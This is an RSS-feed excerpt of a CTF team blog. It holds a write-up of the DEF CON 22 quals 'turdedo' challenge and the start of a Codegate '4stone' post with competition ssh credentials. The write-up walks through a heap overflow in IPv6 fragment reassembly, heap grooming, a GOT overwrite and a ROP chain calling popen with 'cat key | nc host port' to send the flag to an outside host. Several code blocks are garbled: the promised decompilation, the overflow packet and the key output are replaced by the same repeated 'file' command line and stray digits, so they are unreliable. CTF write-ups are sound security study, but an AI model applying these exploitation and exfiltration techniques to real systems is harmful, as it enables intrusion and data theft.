class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">case</span><span class="nl">SYNACK</span><span class="p">:</span></span></span><span class="line"><span class="cl"><span class="nf">snprintf</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="mh">0xEu</span><span class="p">,</span><span class="s">"ACK%d"</span><span class="p">,</span><span class="n">ptr</span><span class="o">-></span><span class="n">rand_value</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_un1_plen</span><span class="p">)</span><span class="o">==</span><span class="nf">strlen</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="o">+</span><span class="mi">8</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">strncmp</span><span class="p">(</span><span class="n">udp_data</span><span class="p">,</span><span class="n">s</span><span class="p">,</span><span class="nf">strlen</span><span class="p">(</span><span class="n">s</span><span class="p">))</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nf">LOBYTE</span><span class="p">(</span><span class="n">ptr</span><span class="o">-></span><span class="n">state</span><span class="p">)</span><span class="o">=</span><span class="mi">2</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="nf">snprintf</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="mh">0x63u</span><span class="p">,</span><span class="s">"server%% "</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nf">sendto_0</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="nf">strlen</span><span class="p">(</span><span class="n">s</span><span class="p">),</span><span class="p">(</span><span class="n">ptr_type</span><span class="o">*</span><span class="p">)</span><span class="n">ptr</span><span class="p">)</span><span class="o">!=</span><span class="nf">strlen</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="nf">remove_from_state_table</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">else</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nf">remove_from_state_table</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">break</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="k">case</span><span class="nl">ACK</span><span class="p">:</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nf">pipe</span><span class="p">(</span><span class="n">pipedes</span><span class="p">)</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">ptr</span><span class="o">-></span><span class="n">child_process</span><span class="o">=</span><span class="nf">fork</span><span class="p">();</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">ptr</span><span class="o">-></span><span class="n">child_process</span><span class="o">==</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">else</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">ptr</span><span class="o">-></span><span class="n">child_process</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">ptr</span><span class="o">-></span><span class="n">child_pipe</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">=</span><span class="n">pipedes</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span></span></span><span class="line"><span class="cl"><span class="nf">close</span><span class="p">(</span><span class="n">pipedes</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span></span></span><span class="line"><span class="cl"><span class="nf">cmdprocessor</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="n">ptr</span><span class="o">-></span><span class="n">child_pipe</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">=</span><span class="n">pipedes</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span></span></span><span class="line"><span class="cl"><span class="nf">close</span><span class="p">(</span><span class="n">pipedes</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span></span></span><span class="line"><span class="cl"><span class="nf">LOBYTE</span><span class="p">(</span><span class="n">ptr</span><span class="o">-></span><span class="n">state</span><span class="p">)</span><span class="o">=</span><span class="mi">3</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">ptr</span><span class="o">-></span><span class="n">time</span><span class="o">=</span><span class="nf">time</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">packet_len</span><span class="o">=</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_un1_plen</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">write_len</span><span class="o">=</span><span class="nf">write</span><span class="p">(</span><span class="n">ptr</span><span class="o">-></span><span class="n">child_pipe</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="o">&amp;</span><span class="n">packet_</span><span class="o">-></span><span class="n">udphd</span><span class="p">,</span><span class="n">packet_len</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">write_len</span><span class="o">==</span><span class="o">-</span><span class="mi">1</span><span class="o">||</span><span class="p">(</span><span class="n">v11</span><span class="o">=</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_un1_plen</span><span class="p">),</span><span class="n">v11</span><span class="o">!=</span><span class="n">write_len</span><span class="p">)</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nf">close</span><span class="p">(</span><span class="n">ptr</span><span class="o">-></span><span class="n">child_pipe</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span></span></span><span class="line"><span class="cl"><span class="nf">kill</span><span class="p">(</span><span class="n">ptr</span><span class="o">-></span><span class="n">child_process</span><span class="p">,</span><span class="mi">9</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">remove_from_state_table</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">break</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="k">case</span><span class="nl">ESTABLISHED</span><span class="p">:</span></span></span><span class="line"><span class="cl"><span class="n">packet_len</span><span class="o">=</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_un1_plen</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">write_len</span><span class="o">=</span><span class="nf">write</span><span class="p">(</span><span class="n">ptr</span><span class="o">-></span><span class="n">child_pipe</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span><span class="o">&amp;</span><span class="n">packet_</span><span class="o">-></span><span class="n">udphd</span><span class="p">,</span><span class="n">packet_len</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">ptr</span><span class="o">-></span><span class="n">time</span><span class="o">=</span><span class="nf">time</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">write_len</span><span class="o">==</span><span class="o">-</span><span class="mi">1</span><span class="o">||</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_un1_plen</span><span class="p">)</span><span class="o">!=</span><span class="n">write_len</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nf">close</span><span class="p">(</span><span class="n">ptr</span><span class="o">-></span><span class="n">child_pipe</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span></span></span><span class="line"><span class="cl"><span class="nf">kill</span><span class="p">(</span><span class="n">ptr</span><span class="o">-></span><span class="n">child_process</span><span class="p">,</span><span class="mi">9</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">remove_from_state_table</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">break</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">else</span><span class="k">if</span><span class="p">(</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_un1_plen</span><span class="p">)</span><span class="o">==</span><span class="mi">11</span><span class="o">&amp;&amp;</span><span class="o">!</span><span class="nf">strncmp</span><span class="p">(</span><span class="n">udp_data</span><span class="p">,</span><span class="s">"SYN"</span><span class="p">,</span><span class="mi">3u</span><span class="p">)</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">ptr</span><span class="o">=</span><span class="p">(</span><span class="n">struct_ptr</span><span class="o">*</span><span class="p">)</span><span class="nf">calloc</span><span class="p">(</span><span class="mi">1u</span><span class="p">,</span><span class="mh">0x54u</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="n">ptr</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">v13</span><span class="o">=</span><span class="o">&amp;</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_src</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">v14</span><span class="o">=</span><span class="p">(</span><span class="n">in6_addr</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">ptr</span><span class="o">-></span><span class="n">ip6_src_addr</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">v14</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">=</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_src</span><span class="p">.</span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span></span></span><span class="line"><span class="cl"><span class="n">v14</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">=</span><span class="n">v13</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span></span></span><span class="line"><span class="cl"><span class="n">v14</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">=</span><span class="n">v13</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span></span></span><span class="line"><span class="cl"><span class="n">v14</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="n">v13</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span></span></span><span class="line"><span class="cl"><span class="n">v15</span><span class="o">=</span><span class="o">&amp;</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_dst</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">v16</span><span class="o">=</span><span class="p">(</span><span class="n">in6_addr</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">ptr</span><span class="o">-></span><span class="n">ip6_dst_addr</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">v16</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">=</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_dst</span><span class="p">.</span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span></span></span><span class="line"><span class="cl"><span class="n">v16</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">=</span><span class="n">v15</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span></span></span><span class="line"><span class="cl"><span class="n">v16</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span><span class="o">=</span><span class="n">v15</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span></span></span><span class="line"><span class="cl"><span class="n">v16</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="o">=</span><span class="n">v15</span><span class="o">-></span><span class="n">__u6_addr32</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span></span></span><span class="line"><span class="cl"><span class="n">ptr</span><span class="o">-></span><span class="n">tunnel_sockaddr</span><span class="o">=</span><span class="o">*</span><span class="n">addr</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">ptr</span><span class="o">-></span><span class="n">udp_sport</span><span class="o">=</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">udphdr</span><span class="o">-></span><span class="n">uh_sport</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">ptr</span><span class="o">-></span><span class="n">udp_dport</span><span class="o">=</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">udphdr</span><span class="o">-></span><span class="n">uh_dport</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">ptr</span><span class="o">-></span><span class="n">rand_value</span><span class="o">=</span><span class="nf">rand</span><span class="p">()</span><span class="o">/</span><span class="mi">2</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="nf">snprintf</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="mh">0x11u</span><span class="p">,</span><span class="s">"SYNACK%d"</span><span class="p">,</span><span class="n">ptr</span><span class="o">-></span><span class="n">rand_value</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nf">sendto_0</span><span class="p">(</span><span class="n">s</span><span class="p">,</span><span class="nf">strlen</span><span class="p">(</span><span class="n">s</span><span class="p">),</span><span class="p">(</span><span class="n">ptr_type</span><span class="o">*</span><span class="p">)</span><span class="n">ptr</span><span class="p">)</span><span class="o">==</span><span class="nf">strlen</span><span class="p">(</span><span class="n">s</span><span class="p">)</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nf">LOBYTE</span><span class="p">(</span><span class="n">ptr</span><span class="o">-></span><span class="n">state</span><span class="p">)</span><span class="o">=</span><span class="n">SYNACK</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="n">ptr</span><span class="o">-></span><span class="n">time</span><span class="o">=</span><span class="nf">time</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nf">add_to_state_table</span><span class="p">(</span><span class="n">ptr</span><span class="p">)</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">else</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="nf">free</span><span class="p">(</span><span class="n">ptr</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">else</span><span class="k">if</span><span class="p">(</span><span class="n">debug</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">v5</span><span class="o">=</span><span class="nf">ntohs</span><span class="p">(</span><span class="n">udphdr</span><span class="o">-></span><span class="n">uh_ulen</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">v6</span><span class="o">=</span><span class="nf">htons</span><span class="p">(</span><span class="n">packet_</span><span class="o">-></span><span class="n">hdr</span><span class="p">.</span><span class="n">ip6_un1_plen</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="n">v7</span><span class="o">=</span><span class="nf">lookup_error_code</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="p">(</span><span class="k">const</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">v7</span><span class="p">,</span><span class="n">v6</span><span class="p">,</span><span class="n">v5</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">else</span><span class="k">if</span><span class="p">(</span><span class="n">debug</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">v3</span><span class="o">=</span><span class="nf">lookup_error_code</span><span class="p">(</span><span class="mi">8</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="p">(</span><span class="k">const</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">v3</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">else</span><span class="k">if</span><span class="p">(</span><span class="n">debug</span><span class="p">)</span></span></span><span class="line"><span class="cl"><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="n">v2</span><span class="o">=</span><span class="nf">lookup_error_code</span><span class="p">(</span><span class="mi">7</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="nf">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="p">(</span><span class="k">const</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">v2</span><span class="p">);</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span><span class="line"><span class="cl"><span class="k">return</span><span class="o">*</span><span class="nf">MK_FP</span><span class="p">(</span><span class="n">__GS__</span><span class="p">,</span><span class="mi">20</span><span class="p">)</span><span class="o">^</span><span class="n">v25</span><span class="p">;</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div><p>After you associated, a command processor was<code>fork()</code>ed off and offered a few commands:</p><ul><li><code>uname</code></li><li><code>uname [-asnrvmpio]</code></li><li><code>ls</code></li><li><code>ls [abcdefghijklmnopqrstuvwxyz0123456789/-. ]</code></li><li><code>pwd</code></li><li><code>echo</code></li><li><code>exit</code></li><li><code>cat (it's actually fake, it prints a taunt)</code></li></ul><p>I checked each command for overflow, etc and didn&rsquo;t see one. Although, I should have looked much more closely because the vulnerability I was supposed to find was in the<code>echo</code> command &ndash; a format string.</p><p>With a false sense of completeness, I moved on to the fragmentation code.</p><h2 id="ip-fragmentation-reassembly">IP Fragmentation Reassembly</h2><p>Any software security researcher will tell you that there are always bugs in IP fragmentation reassembly. I expected to find one here.</p><p>Much like before, I started with finding the appropriate structures for IPv6 fragmentation packets. It was also in the<code>ip6.h</code> file.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">struct</span><span class="n">ip6_frag</span><span class="p">{</span></span></span><span class="line"><span class="cl"><span class="kt">u_int8_t</span><span class="n">ip6f_nxt</span><span class="p">;</span><span class="cm">/* next header (what's the next layer: UDP, TCP, etc) */</span></span></span><span class="line"><span class="cl"><span class="kt">u_int8_t</span><span class="n">ip6f_reserved</span><span class="p">;</span><span class="cm">/* reserved field */</span></span></span><span class="line"><span class="cl"><span class="kt">u_int16_t</span><span class="n">ip6f_offlg</span><span class="p">;</span><span class="cm">/* offset, reserved, and flag (a bit packed field with 13 bits of offset, 2 reserved, and 1 flag */</span></span></span><span class="line"><span class="cl"><span class="kt">u_int32_t</span><span class="n">ip6f_ident</span><span class="p">;</span><span class="cm">/* identification */</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div><p>Below is my fully annotated decompilation:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ file turdedo_5f55104b1d60779dbe8dcf5df2b186ad</span></span><span class="line"><span class="cl">turdedo_5f55104b1d60779dbe8dcf5df2b186ad: ELF 32-bit LSB executable, Intel 80386, version<span class="m">1</span><span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked<span class="o">(</span>uses shared libs<span class="o">)</span>,<span class="k">for</span> GNU/Linux 2.6.24, stripped</span></span></code></pre></div><p>0</p><p>So, okami and I found 3 bugs in this function:</p><ul><li>Bug 1: The offset is stored in the top 13 bits of a<code>uint16_t</code>. It should be shifted left 3 here.</li><li>Bug 2: The new packet size isn&rsquo;t added to the size of the existing fragments (reassembly fail). Not exploitable, just broken. :D</li><li>Bug 3 &amp; 4: The<code>offset + packet size + 0x20</code> is stored in a<code>uint16_t</code>. Our offset maxs out at<code>0xfff8</code> (due to BUG 1), our packet size could be<code>1500</code>, and it also added<code>0x20</code>.</li></ul><p>By manipulating the packet size and offset, we could get very small allocations (<code>0x20-0x27</code>) but overflow them by several thousand bytes.</p><h2 id="exploitation">Exploitation</h2><p>Exploitation of this vulnerability was tough, as it required a bunch of heap fung-shei. Thankfully the heap was fairly deterministic.</p><h2 id="heap-overflow">Heap Overflow</h2><p>The heap overflow was fairly easy to trigger, as a single packet could do it:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ file turdedo_5f55104b1d60779dbe8dcf5df2b186ad</span></span><span class="line"><span class="cl">turdedo_5f55104b1d60779dbe8dcf5df2b186ad: ELF 32-bit LSB executable, Intel 80386, version<span class="m">1</span><span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked<span class="o">(</span>uses shared libs<span class="o">)</span>,<span class="k">for</span> GNU/Linux 2.6.24, stripped</span></span></code></pre></div><p>1</p><p>Unfortunately, the overflow happened somewhere around 0xfe00 away from the fragment that caused the overflow. This means we&rsquo;d need the overflowing packet to occur well before any other adjacent control data AKA heap manipulation.</p><p>After poking around, we decided the only thing we could get allocated in the entire heap block was other ip6 fragments.</p><h2 id="heap-manipulation-via-ip-fragmentation">Heap Manipulation via IP Fragmentation</h2><p>Remember the<code>ip6_frag</code> header? The identification field and the 1 bit flag come into play here quite a bit. The identification field is used for differentiating between fragmentation streams. The 1 bit flag is used to notify the receiving end that it should expect subsequent fragments. Turdedo handled this by adding a new item to a singly-linked list for each new<code>ip6f_ident</code> tag and modifying the list item for any subsequent uses. Thankfully, we had nearly complete control over heap allocations. By sending a new<code>ip6f_ident</code> with the more frags coming flag set, we would cause an allocation. By sending the same ident with the flag cleared, we could cause a<code>free</code>.</p><p>The linked list structure looks like this:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ file turdedo_5f55104b1d60779dbe8dcf5df2b186ad</span></span><span class="line"><span class="cl">turdedo_5f55104b1d60779dbe8dcf5df2b186ad: ELF 32-bit LSB executable, Intel 80386, version<span class="m">1</span><span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked<span class="o">(</span>uses shared libs<span class="o">)</span>,<span class="k">for</span> GNU/Linux 2.6.24, stripped</span></span></code></pre></div><p>2</p><p>If we could overwrite a list entry, we have two potential pointers we could use to cause arbitrary writes:<code>frag_data</code> and<code>next</code>.</p><p>I used this control to allocate a couple of dozen fragments (each with unique idents) of size<code>0x28</code> -- the smallest size I could allocate. For some reason, the largest allocation of the overflow packet ever made was<code>0x27</code>. It was close enough to not matter. The following image shows a simplified memory view:</p><p><img src="/content/images/2022/05/heap1.webp" alt=""/><p>Following the first set of allocations (blue), I sprayed a bunch of very large fragmented packets (purple). These will be the targets for my overflow later.</p><p><img src="/content/images/2022/05/heap2.webp" alt=""/><p>Next, I freed every other (blue) fragment by sending a &ldquo;no more fragments&rdquo; packet with the same identifier. This makes holes for our fragmented packet that will overflow.</p><p><img src="/content/images/2022/05/heap3.webp" alt=""/><h3 id="linked-list-item-overwrite">Linked List Item Overwrite</h3><p>We hope to land in one of those free blocks so our overflow overwrites something we can control later. Now we send the overflowing packet (red).</p><p><img src="/content/images/2022/05/heap4.webp" alt=""/><p>The overflow happens several thousand bytes further down the heap.</p><p><img src="/content/images/2022/05/heap5-1.webp" alt=""/><p>The black lines represent the meta data from each linked list entry. We just overwrote that with our forged entry (green).</p><p><img src="/content/images/2022/05/heap6.webp" alt=""/><p>Due to the way the service walks the linked list, we had to overwrite the list item with well-formed data. The only values we corrupted were the two pointers:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ file turdedo_5f55104b1d60779dbe8dcf5df2b186ad</span></span><span class="line"><span class="cl">turdedo_5f55104b1d60779dbe8dcf5df2b186ad: ELF 32-bit LSB executable, Intel 80386, version<span class="m">1</span><span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked<span class="o">(</span>uses shared libs<span class="o">)</span>,<span class="k">for</span> GNU/Linux 2.6.24, stripped</span></span></code></pre></div><p>3</p><p>Next, all we had to do was send a packet with the same identifier (<code>tttt</code>) as our forged list item and smaller size. This would cause the fragment reassembly to write the incoming packet data to the<code>frag_data</code> pointer.</p><h2 id="got-overwrite--popen">GOT Overwrite &amp; Popen</h2><p>We used our arbitrary write to overwrite the<code>ntohs</code> entry in the<code>.got</code>. This gave us<code>EIP</code> control. However, NX is on, so we need to ROP. Thankfully, the UDP command parser imported<code>popen</code>.</p><p>We used an<code>add esp, 0xdc; pop; pop; pop; ret</code> to align our stack. Then we called<code>popen("cat key | nc host port\x00", "r")</code> with a single additional rop gadget.</p><h1 id="conclusion">Conclusion</h1><p>Perhaps a little shockingly, the exploit (<a href="https://github.com/maraud3rs/writeups/blob/master/dc22quals_turdedo/turdedo_x.py">turdedo_x.py</a>) worked the first time we tried it on the competition server and we got the following key:</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ file turdedo_5f55104b1d60779dbe8dcf5df2b186ad</span></span><span class="line"><span class="cl">turdedo_5f55104b1d60779dbe8dcf5df2b186ad: ELF 32-bit LSB executable, Intel 80386, version<span class="m">1</span><span class="o">(</span>SYSV<span class="o">)</span>, dynamically linked<span class="o">(</span>uses shared libs<span class="o">)</span>,<span class="k">for</span> GNU/Linux 2.6.24, stripped</span></span></code></pre></div><p>4</p><p>An interesting note, our exploit got code execution in the parent process, whereas the other bug (the format string) got it in a child that&rsquo;s forked off (the UDP command processor). This could have bit LegitBS, but they dropped privs from root earlier than normal.</p><p>This blog post was originally published on my CTF team&rsquo;s GitHub<a href="https://github.com/maraud3rs/writeups/tree/master/dc22quals_turdedo">here</a>.</p></description></item><item><title>Codegate: 4stone</title><link>https://www.notcheckmark.com/2014/02/codegate-4stone/</link><pubDate>Sun, 23 Feb 2014 05:00:00 +0000</pubDate><guid>https://www.notcheckmark.com/2014/02/codegate-4stone/</guid><enclosure url="https://www.notcheckmark.com/content/images/2022/05/game-1.webp" type="image/webp" length="0"/><description><p>The Codegate 2014 Qualifiers happened this past weekend. Codegate Quals is generally a good time (although it can be quite frustrating), so several Marauders and I decided we&rsquo;d play. The competition was 30 hours long, which is nice as it doesn&rsquo;t dominate an entire weekend. It started at 7am local time (EST) on Saturday and finished at 1pm on Sunday.</p><p><img src="/content/images/2022/05/scoreboard.webp" alt="">Codegate Scoreboard</p><p>I&rsquo;m normally quite vocally negative about challenges that don&rsquo;t have deterministic solutions. In the past, Codegate Quals has required brute-forcing stack-bases or leaking out libc through information disclosures. However, I&rsquo;m happy to report that I was able to craft a deterministic 4stone exploit (after initially thinking it wasn&rsquo;t possible).</p><h2 id="4stone-overview">4stone Overview</h2><p>4stone was labeled as a 300point pwnable. By the time I started, two teams had already solved it &ndash; so I was expecting it to be pretty straightforward. The challenge description was quite lacking, providing only ssh credentials.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ssh guest@58.229.183.15 / ExtremelyDangerousGuest</span></span><span class="line"><span class="cl">ssh guest@58.229.183.14 / ExtremelyDangerousGuest</span></span></code></pre></div><p>The 4stone binary was hosted locally in the<code>/home/4stone</code> directory.</p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" 